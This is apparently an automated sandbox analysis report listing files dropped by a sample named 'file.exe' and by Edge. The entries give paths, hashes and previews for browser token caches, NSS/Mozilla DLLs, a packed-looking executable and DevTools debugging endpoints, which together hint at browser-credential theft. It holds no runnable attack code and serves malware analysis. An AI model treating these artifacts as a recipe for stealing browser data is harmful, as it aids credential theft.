Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.014917091344568
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXFcfVVp:YWLSGTt1o9LuLgfGBPAzkVj/T8l1cf/p
MD5:	85B8E174E2BBA2CBB32B7875C0876892
SHA1:	0F6449AF8F10D1EB8C7BEA18DB7159B54FE6F8E0
SHA-256:	A9A6171F6D3AEAF28A1020D3081BA2AD9C3DF7D0EEFA63ABD88F00A674DBB188
SHA-512:	FF84D4B052E957EABC9FE568CB4A2E42E066BB653E1819D948ADEBFAC116FC80BE5F3EEA894655B1E7DD849B796F710CB356C1888EC441D022D1F6732D7E1284
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732413988002524}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ff4f47a3-1ddf-40f9-83bc-f7ce103520f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.82896413682067
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxhFxl9Il8uGHHEg4MpM9+6uv/d1rc:m6hYUkg4MpT1I
MD5:	6357C271307A1EFE04FB760D5EB01145
SHA1:	EFB16D08D558ABF83340D15C610FDA7682916340
SHA-256:	9C63223DADC295756971E01A272EF42EAB42B2A332815FEF277D51509C4E8EC7
SHA-512:	0CBEB2734AFADCB7D83E20E004D48FED6B523CED564DBACFBAF305C23D9982410B3430D7204232ACAE2C9364F2C5E0AE082272484FE33FE633757A4F310BA551
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.I.X.s.J.z.M.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.d.w.Z.h.X.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0038427722035435
Encrypted:	false
SSDEEP:	96:sYLa0Q5jcez+b8h9qJwPwaK5sGJkOMlFlWfg:s+liz+4LqGwacBA
MD5:	E46F137ECA416FFC7F2256E1BDF3FF62
SHA1:	E0A4A659BEA2B1660DBCCA0BB13BD4CC1A855E51
SHA-256:	D2AA67E7BA0A34FAE57F3CAC70A59E8811BD8818F8573D1ADC7444A15E7DFC2C
SHA-512:	88D9239481292B7C8D50DA81281DE5A3D1CEDA4748AF97B8D914DE1DD1B5E90281C3DE4382508AAC3C3871E286265F1E0EB6AE0C37F5DDED93101309A9C617B0
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".T.p./.b.D.S.s.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.d.w.Z.h.X.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.895355144138366
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xCxl9Il8uW6vit+Nf2KQCRvHMaZfMaR0d/vc:awYtvit+NDdvsaBMaRd
MD5:	8650A79950E1AF6AC86DEC2B1076D4B0
SHA1:	2C592890B3AE599AA0985EAD9C655E941F673F56
SHA-256:	3A4522D225DC06A0559E4229DBA3B9CFCBCD105A3978BDDC7BCCC9A1C4BD8AA7
SHA-512:	0ED2A830D342DEAF45D754827D2D70D8AE3E42E9E2AD861FC3CC956C53C5CEBF794EC706790AF0BE56361C8D7544D2E1543E9D80493CF6AB7D30E018D4E5233B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".N.D.V.o.P.v.x.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.d.w.Z.h.X.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.402092178322965
Encrypted:	false
SSDEEP:	96:6NnQCHQvNnQ4bQ1NnQs9QHNnQ5dgEQbNnQZBkQZnNnQsDQTNnQQwQsNnQVlm53Qe:6NcN4NCNYaNwB5nNBINX4N0my6
MD5:	524F70179123125B60C9C72D9C148EC4
SHA1:	540D51A8CEB0D325753AAA94D4ED916CF49E9EE3
SHA-256:	105CDB174411C5285CA6F0C8B4A5F3C943C59DF1F29330543BFE4E43DC78B552
SHA-512:	632E138DB8116A53720DE8AE79FC6CDFF8B0067EF541CED2398CD129CE651435879BB4C1B4738B8735D456835E361DF7FC14CCA4D8F5C26000FA391C954B0210
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CF05FDA5685AFE668A1149A82069BFCD",.. "id": "CF05FDA5685AFE668A1149A82069BFCD",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CF05FDA5685AFE668A1149A82069BFCD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/691F135F376A61113CFD2EBD17B1018B",.. "id": "691F135F376A61113CFD2EBD17B1018B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/691F135F376A61113CFD2EBD17B1018B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.384244135014565
Encrypted:	false
SSDEEP:	48:SfNaoQZTEQpfNaoQUQXfNaoQdQEfNaoQ8r0UrU0U8QN:6NnQZTEQFNnQUQPNnQdQwNnQu0UrU0UF
MD5:	34F464A11A7F7576F6419783C4276655
SHA1:	E2F7A5B893D700057FEE15C97107C9B582122131
SHA-256:	98C9EDBEDF0249B7B3A439EEDC8F15B9A9B160FEED4D488FBEFE99575215C74E
SHA-512:	3B23FA10030534FFF63BEC688277C3BC7787ADD3C35637D109C1917BE238072D26824CF0ADE9238D94B51AEE6598609C0E59ED2D0ECA689A28C0BF6A34D92D84
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/06F4D847ACEBA6A7CABED0B1E2BB9515",.. "id": "06F4D847ACEBA6A7CABED0B1E2BB9515",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/06F4D847ACEBA6A7CABED0B1E2BB9515"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/73ADA29BE303D396A5E2CBFB3E84D7B5",.. "id": "73ADA29BE303D396A5E2CBFB3E84D7B5",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/73ADA29BE303D396A5E2CBFB3E84D7B5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.954963790013164
Encrypted:	false
SSDEEP:	49152:8tuhGDlAAtP2OTwRY+n9EK74Mzmu3uEeKo6m:quEGY+n9EKGKo6m
MD5:	642A88E4846A4148E7A4BED5A1F988A2
SHA1:	1E02B5843578247066CA9017B345ECB511BDC3BA
SHA-256:	7B98DD28B55E84671D52943A82B7919967C4C825AC6BD69C2DFDADFCCB986747
SHA-512:	E82A2D6BD293DE9775AB69A0ECBB68E152DD2C1C12AC324503351C942709599EA7741259903E3AD2F6532BF54F4328EF22D47AEF3137465375BB585FF15564D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pK...........@...........................K...........@.................................W...k.......H...................(SK..............................RK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...wajwbeif.....`1.....................@...joqbkyeg.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\76175aed-b864-41dc-980f-9c4c9da51466.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1513526
Entropy (8bit):	7.99169193304654
Encrypted:	true
SSDEEP:	24576:LTYuGQY3go5JVFy9+jRpdcbNoTMw9D5VQuFNfIw8O1p/X3dr407HUtHSt0hOII/R:4KYXfVFyORPINoTMw9D5VbNfQQ/ndrv9
MD5:	7E0CE7F9D154C23E53D85A378CED5547
SHA1:	A0906DBC37993FCB390AC5E76E960BE1F57072D3
SHA-256:	0C68CA45FF48A009248233176D440E4A394D39E25A67D533550741EAF85DED64
SHA-512:	D4BFA143733C0F8E6418656B7A9312916ABD8869C3CA972E3D435A5C172C5ACB562E01042200B2CF87C9A2350FAE0C2ABDC0D82DE56734646443FC1FE9C6BBA7
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.....pHYs...........k.....iTXtXML:com.adobe.xmp.....<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:tiff="http://ns.adobe.com/tiff/1.0/"><tiff:Orientation>1</tiff:Orientation></rdf:Description></rdf:RDF></x:xmpmeta>..<?xpacket end='w'?>,.......IDAThC.Io#Iz.....L&W.Z(j.*U..l_.Kl.a``......0.1...G.?a.d.in...x..J..E...L.1.Lj+..U.....Tf,o..E\|oD......-.]S.-Tb.a..A...M.;..M.ea..!.X.n......?..<0....4IU.$......h..fh.8M. <..#f?../.J.U.(W.........aq?.....T.q....N4w.b.7?....84[{-v..R..... .Cd-Rw....o{.....K"q....!\^.v/..`........;;O..'..sA....`..D.V..". .......\.D...( .`>......N...e[L..O....=2.>}...}..P....#".....,...w.w.H>"A..>t.Q....O._....M.........R.5....oO........$.......^.gm..X6XV.<.}!H4.z.m...PJ}...F.XNM.P.i6+\|.U...8..B\|? .#.4}...#M

C:\Users\user\AppData\Local\Temp\7adda844-4727-4608-a6ba-14e1cfa77438.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

